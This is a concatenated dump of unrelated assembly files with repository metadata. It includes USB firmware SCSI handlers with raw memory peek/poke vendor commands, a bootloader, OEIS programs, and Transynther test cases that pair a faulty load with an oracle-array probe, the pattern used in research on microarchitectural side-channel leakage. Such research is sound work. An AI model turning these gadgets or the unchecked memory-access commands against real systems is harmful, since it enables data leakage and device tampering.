mov dptr,#_usb_buffer
mov b,#0x00
lcall _memset
; scsi.c:58: usb_buffer[3] = 0x08; //capacity list length
mov dptr,#(_usb_buffer + 0x0003)
mov a,#0x08
movx @dptr,a
; scsi.c:59: usb_buffer[6] = 0x10; //number of blocks (sectors) (dummy 2MB)
mov dptr,#(_usb_buffer + 0x0006)
rl a
movx @dptr,a
; scsi.c:60: usb_buffer[8] = 0x03;
mov dptr,#(_usb_buffer + 0x0008)
mov a,#0x03
movx @dptr,a
; scsi.c:61: usb_buffer[10] = 0x02; //block length (512 bytes/sector)
mov dptr,#(_usb_buffer + 0x000a)
dec a
movx @dptr,a
; scsi.c:62: SendData1(12, 0);
mov _SendData1_PARM_2,#0x00
mov dptr,#0x000c
lcall _SendData1
; scsi.c:63: scsi_status = 0;
mov _scsi_status,#0x00
; scsi.c:64: return 1;
mov dpl,#0x01
ret
; scsi.c:66: case MODE_SENSE:
00105$:
; scsi.c:68: memset(usb_buffer, 0, 8);
mov _memset_PARM_2,#0x00
mov _memset_PARM_3,#0x08
mov (_memset_PARM_3 + 1),#0x00
mov dptr,#_usb_buffer
mov b,#0x00
lcall _memset
; scsi.c:69: usb_buffer[0] = 0x03;
mov dptr,#_usb_buffer
mov a,#0x03
movx @dptr,a
; scsi.c:70: usb_buffer[2] = 0x80;
mov dptr,#(_usb_buffer + 0x0002)
mov a,#0x80
movx @dptr,a
; scsi.c:71: SendData1(4, 0);
mov _SendData1_PARM_2,#0x00
mov dptr,#0x0004
lcall _SendData1
; scsi.c:72: scsi_status = 0;
mov _scsi_status,#0x00
; scsi.c:73: return 1;
mov dpl,#0x01
ret
; scsi.c:75: case REQUEST_SENSE:
00106$:
; scsi.c:77: memset(usb_buffer, 0, 18);
mov _memset_PARM_2,#0x00
mov _memset_PARM_3,#0x12
mov (_memset_PARM_3 + 1),#0x00
mov dptr,#_usb_buffer
mov b,#0x00
lcall _memset
; scsi.c:78: usb_buffer[0] = 0x70;
mov dptr,#_usb_buffer
mov a,#0x70
movx @dptr,a
; scsi.c:79: usb_buffer[2] = 0x02;
mov dptr,#(_usb_buffer + 0x0002)
mov a,#0x02
movx @dptr,a
; scsi.c:80: usb_buffer[7] = 10;
mov dptr,#(_usb_buffer + 0x0007)
mov a,#0x0a
movx @dptr,a
; scsi.c:81: usb_buffer[12] = 0x3A;
mov dptr,#(_usb_buffer + 0x000c)
mov a,#0x3a
movx @dptr,a
; scsi.c:82: SendData1(18, 0);
mov _SendData1_PARM_2,#0x00
mov dptr,#0x0012
lcall _SendData1
; scsi.c:83: scsi_status = 0;
mov _scsi_status,#0x00
; scsi.c:84: return 1;
mov dpl,#0x01
ret
; scsi.c:89: case 0xC7:
00109$:
; scsi.c:91: switch(scsi_cdb[1])
mov r7,(_scsi_cdb + 0x0001)
cjne r7,#0x05,00219$
ljmp 00119$
00219$:
cjne r7,#0x06,00220$
sjmp 00110$
00220$:
cjne r7,#0x07,00221$
sjmp 00111$
00221$:
cjne r7,#0x08,00222$
sjmp 00112$
00222$:
cjne r7,#0x09,00223$
sjmp 00113$
00223$:
cjne r7,#0x56,00224$
ljmp 00114$
00224$:
cjne r7,#0xbf,00225$
ljmp 00120$
00225$:
ljmp 00121$
; scsi.c:93: case CUSTOM_XPEEK:
00110$:
; scsi.c:95: usb_buffer[0] = XVAL((scsi_cdb[2] << 8) | scsi_cdb[3]);
mov r7,(_scsi_cdb + 0x0002)
mov r6,#0x00
mov r4,(_scsi_cdb + 0x0003)
mov r5,#0x00
mov a,r4
orl ar6,a
mov a,r5
orl ar7,a
mov dpl,r6
mov dph,r7
movx a,@dptr
mov dptr,#_usb_buffer
movx @dptr,a
; scsi.c:96: SendData1(1, 0);
mov _SendData1_PARM_2,#0x00
mov dptr,#0x0001
lcall _SendData1
; scsi.c:97: break;
ljmp 00123$
; scsi.c:99: case CUSTOM_XPOKE:
00111$:
; scsi.c:101: XVAL((scsi_cdb[2] << 8) | scsi_cdb[3]) = scsi_cdb[4];
mov r7,(_scsi_cdb + 0x0002)
mov r6,#0x00
mov r4,(_scsi_cdb + 0x0003)
mov r5,#0x00
mov a,r4
orl ar6,a
mov a,r5
orl ar7,a
mov dpl,r6
mov dph,r7
mov a,(_scsi_cdb + 0x0004)
movx @dptr,a
; scsi.c:102: SendData1(1, 0);
mov _SendData1_PARM_2,#0x00
mov dptr,#0x0001
lcall _SendData1
; scsi.c:103: break;
ljmp 00123$
; scsi.c:105: case CUSTOM_IPEEK:
00112$:
; scsi.c:107: usb_buffer[0] = IVAL(scsi_cdb[2]);
mov r1,(_scsi_cdb + 0x0002)
mov ar7,@r1
mov dptr,#_usb_buffer
mov a,r7
movx @dptr,a
; scsi.c:108: SendData1(1, 0);
mov _SendData1_PARM_2,#0x00
mov dptr,#0x0001
lcall _SendData1
; scsi.c:109: break;
ljmp 00123$
; scsi.c:111: case CUSTOM_IPOKE:
00113$:
; scsi.c:113: IVAL(scsi_cdb[2]) = scsi_cdb[3];
mov r1,(_scsi_cdb + 0x0002)
mov @r1,(_scsi_cdb + 0x0003)
; scsi.c:114: SendData1(1, 0);
mov _SendData1_PARM_2,#0x00
mov dptr,#0x0001
lcall _SendData1
; scsi.c:115: break;
ljmp 00123$
; scsi.c:117: case VENDOR_CHIPID:
00114$:
; scsi.c:120: memset(usb_buffer, 0x00, 0x200);
mov _memset_PARM_2,#0x00
mov _memset_PARM_3,#0x00
mov (_memset_PARM_3 + 1),#0x02
mov dptr,#_usb_buffer
mov b,#0x00
lcall _memset
; scsi.c:123: XVAL(0xF480) = 0x00;
mov dptr,#0xf480
clr a
movx @dptr,a
; scsi.c:124: XVAL(0xF618) = 0xFF;
mov dptr,#0xf618
dec a
movx @dptr,a
; scsi.c:127: XVAL(0xF608) = 0xFE;
mov dptr,#0xf608
dec a
movx @dptr,a
; scsi.c:130: XVAL(0xF400) = 0xFF;
mov dptr,#0xf400
inc a
movx @dptr,a
; scsi.c:131: while (!(XVAL(0xF41E) & 0x01));
00115$:
mov dptr,#0xf41e
movx a,@dptr
mov r7,a
jnb acc.0,00115$
; scsi.c:134: XVAL(0xF400) = 0x90;
mov dptr,#0xf400
mov a,#0x90
movx @dptr,a
; scsi.c:135: XVAL(0xF404) = 0x00;
mov dptr,#0xf404
clr a
movx @dptr,a
; scsi.c:136: for (i = 0; i < 6; i++)
mov r6,#0x00
mov r7,#0x00
00125$:
; scsi.c:138: usb_buffer[i] = XVAL(0xF408);
mov ar4,r6
mov a,#(_usb_buffer >> 8)
add a,r7
mov r5,a
mov dptr,#0xf408
movx a,@dptr
mov r3,a
mov dpl,r4
mov dph,r5
movx @dptr,a
; scsi.c:136: for (i = 0; i < 6; i++)
inc r6
cjne r6,#0x00,00227$
inc r7
00227$:
clr c
mov a,r6
subb a,#0x06
mov a,r7
xrl a,#0x80
subb a,#0x80
jc 00125$
; scsi.c:141: SendData1(0x200, 0);
mov _SendData1_PARM_2,#0x00
mov dptr,#0x0200
lcall _SendData1
; scsi.c:142: scsi_status = 0;
mov _scsi_status,#0x00
; scsi.c:143: return 1;
mov dpl,#0x01
ret
; scsi.c:145: case VENDOR_INFO: //get info
00119$:
; scsi.c:149: memset(usb_buffer, 0x00, 0x210);
mov _memset_PARM_2,#0x00
mov _memset_PARM_3,#0x10
mov (_memset_PARM_3 + 1),#0x02
mov dptr,#_usb_buffer
mov b,#0x00
lcall _memset
; scsi.c:150: usb_buffer[0x094] = 0x00;
mov dptr,#(_usb_buffer + 0x0094)
clr a
movx @dptr,a
; scsi.c:151: usb_buffer[0x095] = 0x99;
mov dptr,#(_usb_buffer + 0x0095)
mov a,#0x99
movx @dptr,a
; scsi.c:152: usb_buffer[0x096] = 0x53;
mov dptr,#(_usb_buffer + 0x0096)
mov a,#0x53
movx @dptr,a
; scsi.c:153: usb_buffer[0x17A] = 'V';
mov dptr,#(_usb_buffer + 0x017a)
mov a,#0x56
movx @dptr,a
; scsi.c:154: usb_buffer[0x17B] = 'R';
mov dptr,#(_usb_buffer + 0x017b)
mov a,#0x52
movx @dptr,a
; scsi.c:155: usb_buffer[0x17E] = 0x23;
mov dptr,#(_usb_buffer + 0x017e)
mov a,#0x23
movx @dptr,a
; scsi.c:156: usb_buffer[0x17F] = 0x07;
mov dptr,#(_usb_buffer + 0x017f)
mov a,#0x07
movx @dptr,a
; scsi.c:157: usb_buffer[0x200] = 'I';
mov dptr,#(_usb_buffer + 0x0200)
mov a,#0x49
movx @dptr,a
; scsi.c:158: usb_buffer[0x201] = 'F';
mov dptr,#(_usb_buffer + 0x0201)
mov a,#0x46
movx @dptr,a
; scsi.c:159: SendData1(0x210, 0);
mov _SendData1_PARM_2,#0x00
mov dptr,#0x0210
lcall _SendData1
; scsi.c:160: scsi_status = 0;
mov _scsi_status,#0x00
; scsi.c:161: return 1;
mov dpl,#0x01
; scsi.c:163: case VENDOR_BOOT:
ret
00120$:
; scsi.c:166: XVAL(0xFA14) = 0x07;
mov dptr,#0xfa14
mov a,#0x07
movx @dptr,a
; scsi.c:167: XVAL(0xF747) &= 0xEF;
mov dptr,#0xf747
movx a,@dptr
anl a,#0xef
movx @dptr,a
; scsi.c:168: XVAL(0xFA15) = 0x06;
mov dptr,#0xfa15
mov a,#0x06
movx @dptr,a
; scsi.c:169: XVAL(0xFA38) |= 0x01;
mov dptr,#0xfa38
movx a,@dptr
mov r7,a
mov r6,#0x00
orl ar7,#0x01
mov dptr,#0xfa38
mov a,r7
movx @dptr,a
; scsi.c:170: XVAL(0xF08F) = 0x00;
mov dptr,#0xf08f
clr a
movx @dptr,a
; scsi.c:171: XVAL(0xFA68) &= 0xF7;
mov dptr,#0xfa68
movx a,@dptr
anl a,#0xf7
movx @dptr,a
; scsi.c:172: XVAL(0xFA6A) &= 0xF7;
mov dptr,#0xfa6a
movx a,@dptr
anl a,#0xf7
movx @dptr,a
; scsi.c:173: XVAL(0xFA48) &= 0xFE;
mov dptr,#0xfa48
movx a,@dptr
anl a,#0xfe
mov r7,a
movx @dptr,a
; scsi.c:174: break;
; scsi.c:176: default:
sjmp 00123$
00121$:
; scsi.c:179: return 0;
mov dpl,#0x00
; scsi.c:183: default:
ret
00123$:
; scsi.c:186: return 0;
mov dpl,#0x00
; scsi.c:188: }
; scsi.c:189: }
ret
.area CSEG (CODE)
.area CONST (CODE)
.area XINIT (CODE)
.area CABS (ABS,CODE)
| 22.162264 | 76 | 0.570123 |
540994340b81541390c6e81523bb9db439de038e | 20 | asm | Assembly | test/asm/narg-nosect.asm | orbea/rgbds | 91889fc14abbf705271bb484e89e349e08f76477 | [
"MIT"
] | null | null | null | test/asm/narg-nosect.asm | orbea/rgbds | 91889fc14abbf705271bb484e89e349e08f76477 | [
"MIT"
] | null | null | null | test/asm/narg-nosect.asm | orbea/rgbds | 91889fc14abbf705271bb484e89e349e08f76477 | [
"MIT"
] | null | null | null | PRINTT "{_NARG}\n"
| 10 | 19 | 0.6 |
34999a541dd432c747adda8817bf7e205259788f | 1,028 | asm | Assembly | heos/boot.asm | humam-hossain/assembly | 37c6a49055d42889fc3f5d6a0af1f16e499845b5 | [
"MIT"
] | null | null | null | heos/boot.asm | humam-hossain/assembly | 37c6a49055d42889fc3f5d6a0af1f16e499845b5 | [
"MIT"
] | null | null | null | heos/boot.asm | humam-hossain/assembly | 37c6a49055d42889fc3f5d6a0af1f16e499845b5 | [
"MIT"
] | null | null | null | ;;;
;;; simple bootloader that uses int 13h/ ah 02h to read from disk into memory
;;;
org 0x7c00
;; setup ES:BX memory address/segment:offset to load sector(s) into
mov bx, 0x1000 ; load sector to memory address 0x1000
mov es, bx ; es = 0x1000
mov bx, 0x0000 ; es:bx = 0x1000:0x0000
;; setup disk read
mov dh, 0x00 ; head 0
mov dl, 0x00 ; drive 0
mov ch, 0x00 ; cylinder 0
mov cl, 0x02 ; starting sector to read from disk
read_disk:
mov ah, 0x02 ; bios int 13h/ah 02h = read disk sectors
mov al, 0x01 ; # of sectors to read
int 0x13 ; bios interrupt for disk read function
jc read_disk
;; reset segment registers for RAM
mov ax, 0x1000
mov ds, ax
mov es, ax
mov fs, ax
mov gs, ax
mov ss, ax
jmp 0x1000:0x0
;; bootsector magic
times 510 - ($ - $$) db 0 ; filling up with zeros until 510th byte
dw 0xaa55 ; bios magic number to boot
| 26.358974 | 77 | 0.578794 |
d2ae205b83faa01baea773603930ae2e6149629c | 482 | asm | Assembly | oeis/095/A095128.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/095/A095128.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/095/A095128.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A095128: a(n+3) = 3*a(n+2) + 2*a(n+1) - a(n).
; Submitted by Christian Krause
; 1,4,13,46,160,559,1951,6811,23776,82999,289738,1011436,3530785,12325489,43026601,150199996,524327701,1830356494,6389524888,22304959951,77863573135,271811114419,948855529576,3312325244431,11562875678026,40364421993364,140906692091713
lpb $0
sub $0,1
mul $1,-1
add $3,1
add $2,$3
trn $2,4
add $4,1
add $4,$2
add $1,$4
add $2,4
add $2,$4
mov $3,$1
lpe
mov $0,$1
mul $0,3
add $0,1
| 22.952381 | 234 | 0.682573 |
d3c5fd834178b93df8cfb9c2a39090228f2d14b1 | 845 | asm | Assembly | programs/oeis/141/A141934.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/141/A141934.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/141/A141934.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A141934: Primes congruent to 9 mod 25.
; 59,109,359,409,509,659,709,809,859,1009,1109,1259,1409,1459,1559,1609,1709,1759,2309,2459,2609,2659,2909,3109,3209,3259,3359,3559,3659,3709,4159,4259,4409,4759,4909,5009,5059,5209,5309,5659,6359,6659,6709,6959,7109,7159,7309,7459,7559,7759,8009,8059,8209,8609,9059,9109,9209,9859,10009,10159,10259,10459,10559,10709,10859,10909,11059,11159,11909,11959,12109,12409,12659,12809,12959,13009,13109,13159,13259,13309,13709,13759,13859,14009,14159,14759,15259,15359,15559,15809,15859,15959,16759,17159,17209,17359,17509,17609,17659,17909
mov $2,$0
add $2,2
pow $2,2
lpb $2
add $1,8
sub $2,1
mov $3,$1
seq $3,10051 ; Characteristic function of primes: 1 if n is prime, else 0.
sub $0,$3
add $1,17
mov $4,$0
max $4,0
cmp $4,$0
mul $2,$4
lpe
div $1,2
sub $1,22
mul $1,2
add $1,29
mov $0,$1
| 35.208333 | 533 | 0.72426 |
65e488c58923cdc463f604aa3aa5645e78bf6cc9 | 6,440 | asm | Assembly | Transynther/x86/_processed/US/_zr_/i9-9900K_12_0xca.log_21829_1193.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/US/_zr_/i9-9900K_12_0xca.log_21829_1193.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/US/_zr_/i9-9900K_12_0xca.log_21829_1193.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r14
push %r15
push %r8
push %r9
push %rcx
push %rdi
push %rsi
lea addresses_WC_ht+0x1b178, %r14
nop
nop
nop
nop
nop
inc %rdi
mov (%r14), %r15
nop
nop
sub $57885, %r9
lea addresses_D_ht+0x1554b, %r11
nop
nop
sub %r8, %r8
mov $0x6162636465666768, %r9
movq %r9, (%r11)
nop
nop
nop
nop
nop
sub %r9, %r9
lea addresses_WC_ht+0x34b, %r9
nop
nop
nop
add $6717, %rcx
mov (%r9), %r8d
nop
nop
nop
and %r9, %r9
lea addresses_WC_ht+0xa8cb, %rsi
lea addresses_WC_ht+0x18c4b, %rdi
add $2867, %r14
mov $83, %rcx
rep movsl
and $64107, %rcx
lea addresses_WT_ht+0x1652b, %r15
nop
nop
nop
nop
xor $993, %r9
movb (%r15), %cl
sub $53237, %r11
lea addresses_D_ht+0x1634b, %r15
nop
add %rsi, %rsi
mov $0x6162636465666768, %r8
movq %r8, (%r15)
nop
nop
nop
nop
xor %r15, %r15
lea addresses_WC_ht+0x10b83, %rsi
lea addresses_UC_ht+0x94cb, %rdi
nop
nop
nop
nop
sub $39440, %r15
mov $126, %rcx
rep movsq
sub %rdi, %rdi
pop %rsi
pop %rdi
pop %rcx
pop %r9
pop %r8
pop %r15
pop %r14
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r11
push %r13
push %r14
push %rbp
push %rbx
push %rdx
// Store
mov $0x78b, %r14
nop
nop
sub %r13, %r13
mov $0x5152535455565758, %rbx
movq %rbx, %xmm7
movups %xmm7, (%r14)
nop
nop
nop
dec %rbx
// Store
lea addresses_RW+0x8f4b, %rdx
nop
nop
nop
nop
nop
sub %rbp, %rbp
movl $0x51525354, (%rdx)
nop
nop
nop
nop
xor $11871, %r13
// Store
lea addresses_WC+0x18117, %r11
clflush (%r11)
nop
nop
nop
nop
inc %r14
mov $0x5152535455565758, %r13
movq %r13, %xmm2
movups %xmm2, (%r11)
nop
nop
nop
nop
xor $17286, %rbx
// Faulty Load
lea addresses_US+0x4b4b, %r11
nop
nop
nop
nop
nop
and %rbp, %rbp
mov (%r11), %r14w
lea oracles, %r10
and $0xff, %r14
shlq $12, %r14
mov (%r10,%r14,1), %r14
pop %rdx
pop %rbx
pop %rbp
pop %r14
pop %r13
pop %r11
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'size': 1, 'NT': False, 'type': 'addresses_US', 'same': False, 'AVXalign': False, 'congruent': 0}}
{'OP': 'STOR', 'dst': {'size': 16, 'NT': False, 'type': 'addresses_P', 'same': False, 'AVXalign': False, 'congruent': 4}}
{'OP': 'STOR', 'dst': {'size': 4, 'NT': False, 'type': 'addresses_RW', 'same': False, 'AVXalign': True, 'congruent': 9}}
{'OP': 'STOR', 'dst': {'size': 16, 'NT': False, 'type': 'addresses_WC', 'same': False, 'AVXalign': False, 'congruent': 1}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'size': 2, 'NT': False, 'type': 'addresses_US', 'same': True, 'AVXalign': False, 'congruent': 0}}
<gen_prepare_buffer>
{'OP': 'LOAD', 'src': {'size': 8, 'NT': False, 'type': 'addresses_WC_ht', 'same': False, 'AVXalign': False, 'congruent': 0}}
{'OP': 'STOR', 'dst': {'size': 8, 'NT': False, 'type': 'addresses_D_ht', 'same': False, 'AVXalign': False, 'congruent': 9}}
{'OP': 'LOAD', 'src': {'size': 4, 'NT': False, 'type': 'addresses_WC_ht', 'same': False, 'AVXalign': False, 'congruent': 10}}
{'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_WC_ht', 'congruent': 7}, 'dst': {'same': True, 'type': 'addresses_WC_ht', 'congruent': 8}}
{'OP': 'LOAD', 'src': {'size': 1, 'NT': False, 'type': 'addresses_WT_ht', 'same': False, 'AVXalign': False, 'congruent': 3}}
{'OP': 'STOR', 'dst': {'size': 8, 'NT': False, 'type': 'addresses_D_ht', 'same': False, 'AVXalign': True, 'congruent': 11}}
{'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_WC_ht', 'congruent': 3}, 'dst': {'same': False, 'type': 'addresses_UC_ht', 'congruent': 7}}
{'00': 21829}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
| 34.810811 | 2,999 | 0.655435 |
be43cb5d9e2b88d616be3bd8a0d37b1604a4b64a | 4,015 | asm | Assembly | Transynther/x86/_processed/NONE/_zr_/i7-7700_9_0x48.log_21829_186.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/NONE/_zr_/i7-7700_9_0x48.log_21829_186.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/NONE/_zr_/i7-7700_9_0x48.log_21829_186.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r12
push %r14
push %r15
push %rbp
push %rsi
// Load
lea addresses_D+0xb3e5, %r12
nop
nop
nop
nop
add %r15, %r15
and $0xffffffffffffffc0, %r12
vmovntdqa (%r12), %ymm1
vextracti128 $0, %ymm1, %xmm1
vpextrq $1, %xmm1, %rsi
nop
inc %r11
// Faulty Load
lea addresses_WC+0xa2e5, %r14
nop
nop
nop
nop
nop
cmp %r15, %r15
mov (%r14), %r11w
lea oracles, %rsi
and $0xff, %r11
shlq $12, %r11
mov (%rsi,%r11,1), %r11
pop %rsi
pop %rbp
pop %r15
pop %r14
pop %r12
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_WC', 'AVXalign': False, 'congruent': 0, 'size': 8, 'same': False, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_D', 'AVXalign': False, 'congruent': 8, 'size': 32, 'same': False, 'NT': True}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_WC', 'AVXalign': False, 'congruent': 0, 'size': 2, 'same': True, 'NT': False}}
<gen_prepare_buffer>
{'00': 21829}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 